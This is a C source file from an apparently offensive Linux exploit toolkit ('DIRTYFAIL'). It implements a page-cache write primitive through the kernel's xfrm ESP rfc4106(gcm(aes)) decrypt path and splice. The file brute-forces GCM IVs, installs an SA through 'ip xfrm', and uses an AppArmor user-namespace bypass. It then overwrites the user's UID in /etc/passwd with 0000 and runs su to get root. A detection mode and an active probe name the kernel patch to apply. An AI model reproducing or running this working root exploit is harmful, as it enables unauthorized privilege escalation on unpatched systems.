Files
SKELETONKEY/modules/copy_fail_family/copyfail_gcm.c
T

635 lines
22 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/*
* DIRTYFAIL — copyfail_gcm.c
*
* See copyfail_gcm.h for the design notes. This file implements:
*
* 1. AES-GCM keystream byte 0 computation via AF_ALG `gcm(aes)`.
* 2. IV brute force until keystream[0] equals the desired XOR mask.
* 3. SA installation via `ip xfrm state add ...` (system(3) — saves
* ~150 lines of netlink boilerplate vs. our authencesn path; the
* gcm primitive is the right place to take that dep, and every
* modern distro ships iproute2).
* 4. Splice trigger: ESP wire header (16B) + 1 target byte + 16-byte
* ICV pad. The kernel's in-place GCM decrypt XORs keystream[0]
* onto the spliced page-cache byte, which is what we control.
*/
#include "copyfail_gcm.h"
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <pwd.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifdef __linux__
#include <sched.h>
#include <sys/syscall.h>
#include <linux/if.h>
#include <sys/ioctl.h>
extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
#endif
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#define ENCAP_PORT 4500
#define ESP_SPI 0xCAFEBABE
#define IV_LEN 8
#define ICV_LEN 16
#define AES_KEY_LEN 16
#define SALT_LEN 4
#define KEY_TOTAL (AES_KEY_LEN + SALT_LEN) /* rfc4106 expects 20 */
/* Fixed AEAD key (16-byte AES key + 4-byte salt). Both are attacker-
* chosen — auth verification will fail at the end of decrypt anyway,
* the STORE has already happened by then. */
__attribute__((unused))
static const unsigned char AEAD_KEY[KEY_TOTAL] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13,
};
/* ---------------------------------------------------------------- *
* Detection
* ---------------------------------------------------------------- */
df_result_t copyfail_gcm_detect(void)
{
log_step("Copy Fail GCM variant — detection");
int km, kn;
if (kernel_version(&km, &kn))
log_hint("kernel %d.%d.x", km, kn);
/* Probe AF_ALG availability of rfc4106(gcm(aes)). */
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (s < 0) {
log_ok("AF_ALG unavailable — GCM variant unreachable");
return DF_PRECOND_FAIL;
}
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, "rfc4106(gcm(aes))", sizeof(sa.salg_name) - 1);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
log_ok("rfc4106(gcm(aes)) not loadable — GCM variant unreachable");
close(s);
return DF_PRECOND_FAIL;
}
close(s);
log_ok("AF_ALG + rfc4106(gcm(aes)) loadable");
bool userns = unprivileged_userns_allowed();
log_hint("unprivileged user namespace: %s", userns ? "allowed" : "DENIED");
if (!userns) {
log_warn("preconditions partial — userns blocked. Try with --aa-bypass.");
return DF_PRECOND_FAIL;
}
if (apparmor_userns_caps_blocked()) {
log_ok("LSM-mitigated — unprivileged userns lacks caps; xfrm SA install "
"via `ip xfrm` requires CAP_NET_ADMIN that the AA policy denies.");
return DF_PRECOND_FAIL;
}
if (dirtyfail_active_probes) {
log_step("--active set: firing rfc4106(gcm) trigger against /tmp sentinel");
df_result_t pr = copyfail_gcm_active_probe();
if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr;
log_warn("active probe inconclusive — falling back to precondition verdict");
}
log_warn("VULNERABLE — GCM-variant of xfrm-ESP page-cache write reachable");
log_warn("apply mainline patch f4c50a4034e6 or distro backport");
log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe");
return DF_VULNERABLE;
}
/* ---------------------------------------------------------------- *
* AES-GCM keystream byte 0 — computed via AF_ALG `ecb(aes)` instead
* of `aead gcm(aes)`.
*
* BACKGROUND
* ----------
* Originally we used AF_ALG `aead` `gcm(aes)`: bind, set key + tag size,
* sendmsg with assoclen=0 + 1-byte zero plaintext, read back 17 bytes
* of (ciphertext || tag). The first byte of the output IS the keystream
* byte we want (since pt=0 means ct = ks XOR 0 = ks).
*
* That worked in unit tests on some kernels but on Ubuntu 24.04 / 6.8
* the read() blocks indefinitely — the 1-byte AEAD plaintext doesn't
* produce output until additional data is sent or the socket is shut
* down. Tracking down the exact "what does this kernel want" was a rat
* hole.
*
* Instead, we compute keystream byte 0 directly. Per NIST SP 800-38D,
* GCM with a 12-byte nonce derives the initial counter as
* J0 = nonce || 0x00000001
* and the counter for the first plaintext block is J0 + 1 =
* nonce || 0x00000002
* The keystream block is E_K(that counter), so:
* keystream[0] = AES-128-ECB(K, nonce || 0x00000002)[0]
*
* AF_ALG `ecb(aes)` is bulletproof — single-block in, single-block out,
* no MSG_MORE / shutdown semantics to get wrong. ~6 µs per call on a
* 4-core VM, vs ~50 µs for the AEAD path that didn't actually work.
*
* (cf2's copyfail2.c uses OpenSSL EVP_aes_128_gcm to do the same
* computation indirectly. We avoid the libssl dependency by going
* through AF_ALG ECB directly.)
* ---------------------------------------------------------------- */
#ifdef __linux__
static int gcm_open(void)
{
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (s < 0) return -1;
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "skcipher", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, "ecb(aes)", sizeof(sa.salg_name) - 1);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
if (setsockopt(s, SOL_ALG, ALG_SET_KEY,
AEAD_KEY, AES_KEY_LEN) < 0) { /* AES-128 key */
close(s); return -1;
}
return s;
}
/* Compute byte 0 of the GCM keystream for the given 12-byte nonce by
* ECB-encrypting the counter block (nonce || 0x00000002). */
static bool gcm_keystream_byte0(int ecb_s, const uint8_t nonce[12],
uint8_t *out_byte)
{
int op = accept(ecb_s, NULL, NULL);
if (op < 0) return false;
/* Counter block: J0 + 1 = nonce(12) || 0x00000002. The +1 is
* because GCM reserves J0 itself for the auth-tag XOR, so the
* first plaintext block uses J0+1. */
uint8_t block[16];
memcpy(block, nonce, 12);
block[12] = 0; block[13] = 0; block[14] = 0; block[15] = 2;
char cbuf[CMSG_SPACE(sizeof(unsigned int))] = {0};
unsigned int op_enc = ALG_OP_ENCRYPT;
struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) };
struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_OP;
c->cmsg_len = CMSG_LEN(sizeof(unsigned int));
memcpy(CMSG_DATA(c), &op_enc, sizeof(op_enc));
struct iovec iov = { .iov_base = block, .iov_len = 16 };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
if (sendmsg(op, &msg, 0) != 16) { close(op); return false; }
uint8_t out[16];
ssize_t n = read(op, out, 16);
close(op);
if (n != 16) return false;
*out_byte = out[0];
return true;
}
/* Brute force IV until keystream byte equals want_ks. Returns iters
* tried; writes the winning 8-byte IV into iv_out. */
static int64_t gcm_brute_iv(uint8_t want_ks, uint8_t iv_out[IV_LEN])
{
int s = gcm_open();
if (s < 0) {
log_bad("gcm_open: %s", strerror(errno));
return -1;
}
uint8_t nonce[12];
memcpy(nonce, AEAD_KEY + AES_KEY_LEN, SALT_LEN); /* salt prefix */
for (uint64_t v = 1; v < (1ULL << 32); v++) {
memcpy(nonce + SALT_LEN, &v, IV_LEN); /* low 8 bytes */
uint8_t ks;
if (!gcm_keystream_byte0(s, nonce, &ks)) {
close(s);
return -1;
}
if (ks == want_ks) {
memcpy(iv_out, &v, IV_LEN);
close(s);
return (int64_t)v;
}
if ((v & 0xFFF) == 0 && v > 16384) {
/* progress hint after 16k attempts (very unlucky case). */
log_hint("gcm IV brute: %llu trials so far...",
(unsigned long long)v);
}
}
close(s);
return -1;
}
/* ---------------------------------------------------------------- *
* SA install via `ip xfrm state add ...`
* ---------------------------------------------------------------- */
static bool ip_run(const char *fmt, ...)
{
char cmd[2048];
va_list ap;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
int rc = system(cmd);
return rc == 0;
}
static bool gcm_install_sa(const uint8_t iv[IV_LEN])
{
char keyhex[KEY_TOTAL * 2 + 3];
char *p = keyhex;
p += sprintf(p, "0x");
for (int i = 0; i < KEY_TOTAL; i++)
p += sprintf(p, "%02x", AEAD_KEY[i]);
/* `ip xfrm state add` registers a transport-mode ESP SA over
* loopback with rfc4106(gcm(aes)) AEAD. Encap is ESPINUDP/4500
* matching what we'll send via splice. */
(void)iv; /* IV travels in the wire packet, not the SA. */
return ip_run(
"ip link set lo up >/dev/null 2>&1 ; "
"ip xfrm state flush >/dev/null 2>&1 ; "
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp "
"spi 0x%08x encap espinudp %d %d 0.0.0.0 "
"aead 'rfc4106(gcm(aes))' %s 128 replay-window 32 >/dev/null 2>&1",
ESP_SPI, ENCAP_PORT, ENCAP_PORT, keyhex);
}
/* ---------------------------------------------------------------- *
* Splice trigger
* ---------------------------------------------------------------- */
static bool gcm_trigger(const char *target_path, off_t target_off,
const uint8_t iv[IV_LEN])
{
int rs = socket(AF_INET, SOCK_DGRAM, 0);
if (rs < 0) return false;
int encap = UDP_ENCAP_ESPINUDP;
setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap));
struct sockaddr_in la = {
.sin_family = AF_INET,
.sin_port = htons(ENCAP_PORT),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
int reuse = 1;
setsockopt(rs, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
if (bind(rs, (struct sockaddr *)&la, sizeof(la)) < 0) {
close(rs); return false;
}
/* Build attacker page in /tmp: ESP header(16) + ICV pad at offset
* 4096. We splice these from a real file so the kernel sees them
* as page-cache pages on the splice path. */
char atkpath[64];
snprintf(atkpath, sizeof(atkpath), "/tmp/dirtyfail-gcm.%d", (int)getpid());
unlink(atkpath);
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
if (afd < 0) { close(rs); return false; }
unsigned char esp_hdr[16];
*(uint32_t *)(esp_hdr + 0) = htonl(ESP_SPI);
*(uint32_t *)(esp_hdr + 4) = htonl(1); /* SeqNum */
memcpy(esp_hdr + 8, iv, IV_LEN);
if (pwrite(afd, esp_hdr, 16, 0) != 16) goto fail;
unsigned char icv[ICV_LEN] = {0};
if (pwrite(afd, icv, ICV_LEN, 4096) != ICV_LEN) goto fail;
fsync(afd);
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
#endif
int afd2 = open(atkpath, O_RDONLY);
if (afd2 < 0) goto fail;
unlink(atkpath);
int tfd = open(target_path, O_RDONLY);
if (tfd < 0) { close(afd2); goto fail; }
int p[2];
if (pipe(p) < 0) { close(afd2); close(tfd); goto fail; }
fcntl(p[0], F_SETPIPE_SZ, 1 << 20);
fcntl(p[1], F_SETPIPE_SZ, 1 << 20);
/* esp_hdr (16) || target_byte (1) || icv_pad (16) — 33 bytes total. */
loff_t off;
off = 0; if (splice(afd2, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) goto trig_fail;
off = target_off; if (splice(tfd, &off, p[1], NULL, 1, SPLICE_F_MOVE) != 1) goto trig_fail;
off = 4096; if (splice(afd2, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) goto trig_fail;
int ss = socket(AF_INET, SOCK_DGRAM, 0);
if (ss < 0) goto trig_fail;
if (connect(ss, (struct sockaddr *)&la, sizeof(la)) < 0) { close(ss); goto trig_fail; }
ssize_t sent = splice(p[0], NULL, ss, NULL, 16 + 1 + 16, SPLICE_F_MOVE);
(void)sent;
close(ss);
close(p[0]); close(p[1]);
/* Wait for esp_input to finish the in-place STORE before we
* tear down sockets. 150ms matches V4bel's reference; 50ms was
* working on x86 lab kernels but tight on ARM64 / loaded VMs. */
usleep(150 * 1000);
unsigned char drain[256];
(void)recv(rs, drain, sizeof(drain), MSG_DONTWAIT);
close(afd2); close(tfd); close(afd); close(rs);
return true;
trig_fail:
close(p[0]); close(p[1]); close(afd2); close(tfd);
fail:
close(afd); close(rs);
unlink(atkpath);
return false;
}
/* ---------------------------------------------------------------- *
* Public 1-byte primitive
* ---------------------------------------------------------------- */
bool cfg_1byte_write(const char *target_path,
off_t target_off, unsigned char want_byte)
{
/* Read current byte. */
int tfd = open(target_path, O_RDONLY);
if (tfd < 0) {
log_bad("open %s: %s", target_path, strerror(errno));
return false;
}
unsigned char cur = 0;
if (pread(tfd, &cur, 1, target_off) != 1) {
log_bad("pread current: %s", strerror(errno));
close(tfd); return false;
}
close(tfd);
if (cur == want_byte) {
return true; /* already what we want */
}
uint8_t want_ks = cur ^ want_byte;
log_step("cfg_1byte_write off=%lld 0x%02x -> 0x%02x (need_ks=0x%02x)",
(long long)target_off, cur, want_byte, want_ks);
/* Brute force IV via AF_ALG. */
uint8_t iv[IV_LEN];
int64_t iters = gcm_brute_iv(want_ks, iv);
if (iters < 0) {
log_bad("gcm IV brute force failed (want_ks=0x%02x)", want_ks);
return false;
}
log_step(" IV found in %lld iters", (long long)iters);
/* Install SA. */
if (!gcm_install_sa(iv)) {
log_bad("ip xfrm state add failed");
return false;
}
log_step(" SA installed");
/* Trigger. */
if (!gcm_trigger(target_path, target_off, iv)) {
log_bad("gcm trigger failed");
return false;
}
log_step(" trigger fired");
/* Verify. */
int v = open(target_path, O_RDONLY);
if (v < 0) return false;
unsigned char post = 0;
if (pread(v, &post, 1, target_off) != 1) { close(v); return false; }
close(v);
if (post != want_byte) {
log_bad("byte at off=%lld is 0x%02x, wanted 0x%02x",
(long long)target_off, post, want_byte);
return false;
}
return true;
}
#else /* !__linux__ */
bool cfg_1byte_write(const char *p, off_t o, unsigned char b)
{ (void)p; (void)o; (void)b; return false; }
#endif
/* ---------------------------------------------------------------- *
* Top-level exploit (UID flip end-to-end)
* ---------------------------------------------------------------- */
/* INNER (bypass userns): cfg_1byte_write × 4 to flip UID digits to '0'. */
df_result_t copyfail_gcm_exploit_inner(void)
{
#ifdef __linux__
const char *user = getenv("DIRTYFAIL_TARGET_USER");
if (!user || !*user) {
log_bad("inner: DIRTYFAIL_TARGET_USER not set");
return DF_TEST_ERROR;
}
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("inner: find_passwd_uid_field('%s') failed", user);
return DF_TEST_ERROR;
}
if (uid_len != 4) {
log_bad("inner: UID '%s' not 4 chars", uid_str);
return DF_TEST_ERROR;
}
for (size_t i = 0; i < 4; i++) {
if (uid_str[i] == '0') continue;
log_step("inner: flip /etc/passwd[%lld] '%c' -> '0'",
(long long)(uid_off + i), uid_str[i]);
if (!cfg_1byte_write("/etc/passwd", uid_off + i, '0')) {
log_bad("inner: byte flip failed at offset %lld",
(long long)(uid_off + i));
return DF_EXPLOIT_FAIL;
}
}
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
/* OUTER (init ns): prompts → fork bypass child → wait → verify → su. */
df_result_t copyfail_gcm_exploit(bool do_shell)
{
log_step("Copy Fail GCM variant — exploit");
uid_t target_uid = getuid();
if (target_uid == 0) {
log_warn("already root in init namespace");
return DF_OK;
}
struct passwd *pw = getpwuid(target_uid);
if (!pw) { log_bad("getpwuid: %s", strerror(errno)); return DF_TEST_ERROR; }
const char *user = pw->pw_name;
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("user %s not found in /etc/passwd", user);
return DF_TEST_ERROR;
}
log_step("/etc/passwd UID for %s: '%s' at offset %lld",
user, uid_str, (long long)uid_off);
if (uid_len != 4) {
log_bad("UID '%s' is %zu chars; need 4", uid_str, uid_len);
return DF_TEST_ERROR;
}
log_warn("about to flip /etc/passwd UID via rfc4106(gcm(aes)) byte-flips");
log_warn("(four 1-byte writes — one per UID digit not already '0')");
if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; }
if (!ssh_lockout_check(user)) { log_bad("ssh-lockout declined"); return DF_OK; }
setenv("DIRTYFAIL_INNER_MODE", "gcm", 1);
setenv("DIRTYFAIL_TARGET_USER", user, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
if (rc != DF_EXPLOIT_OK) {
log_bad("inner exploit failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
/* Verify in init ns */
int v = open("/etc/passwd", O_RDONLY);
if (v < 0) return DF_EXPLOIT_FAIL;
if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; }
char land[5] = {0};
if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; }
close(v);
if (memcmp(land, "0000", 4) != 0) {
log_bad("verify: page cache reads '%.4s'", land);
return DF_EXPLOIT_FAIL;
}
log_ok("page cache now reports %s with uid 0 (via GCM path)", user);
if (!do_shell) {
if (try_revert_passwd_page_cache())
log_ok("page cache reverted (--no-shell)");
else
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
return DF_EXPLOIT_OK;
}
log_ok("invoking 'su %s' in init ns — enter your password for REAL root", user);
execlp("su", "su", user, (char *)NULL);
log_bad("execlp: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* ---------------------------------------------------------------- *
* Active probe — `--scan --active`.
*
* Install GCM SA with an arbitrary IV and fire ONE trigger against a
* /tmp sentinel. We skip the IV brute force: keystream XOR ciphertext
* is unpredictable but ANY byte change at sentinel[0] proves the
* kernel ran the in-place STORE.
* ---------------------------------------------------------------- */
df_result_t copyfail_gcm_active_probe_inner(void)
{
#ifdef __linux__
const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL");
if (!sentinel || !*sentinel) {
log_bad("gcm-probe: DIRTYFAIL_PROBE_SENTINEL not set");
return DF_TEST_ERROR;
}
/* Arbitrary fixed 8-byte wire IV (rfc4106 wraps it with the 4-byte
* SA salt to form the 12-byte GCM nonce). Keystream is deterministic
* given this IV + key, but we don't need to predict it for the
* probe — any byte change in sentinel[0] proves the STORE happened. */
static const uint8_t probe_iv[IV_LEN] = {
0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04
};
if (!gcm_install_sa(probe_iv)) {
log_bad("gcm-probe: ip xfrm state add failed");
return DF_TEST_ERROR;
}
if (!gcm_trigger(sentinel, 0, probe_iv)) {
log_bad("gcm-probe: trigger failed");
return DF_TEST_ERROR;
}
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
df_result_t copyfail_gcm_active_probe(void)
{
char tmpl[] = "/tmp/dirtyfail-gcm-probe.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) { log_bad("gcm-probe mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; }
unsigned char filler[4096];
memset(filler, 'A', sizeof(filler));
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
close(sfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(sfd);
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
char tmp[4096];
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
close(rfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(rfd);
setenv("DIRTYFAIL_INNER_MODE", "gcm-probe", 1);
setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
unsetenv("DIRTYFAIL_INNER_MODE");
unsetenv("DIRTYFAIL_PROBE_SENTINEL");
if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; }
if (rc != DF_EXPLOIT_OK) {
log_bad("gcm-probe inner failed (exit=%d)", rc);
unlink(tmpl); return DF_TEST_ERROR;
}
rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
unsigned char after[16];
ssize_t got = read(rfd, after, sizeof(after));
close(rfd);
unlink(tmpl);
if (got <= 0) return DF_TEST_ERROR;
if (after[0] != 'A') {
log_warn("ACTIVE PROBE gcm: sentinel[0] changed 'A' → 0x%02x → kernel is VULNERABLE",
after[0]);
return DF_VULNERABLE;
}
log_ok("ACTIVE PROBE gcm: sentinel[0] intact — kernel rfc4106 path appears patched");
return DF_OK;
}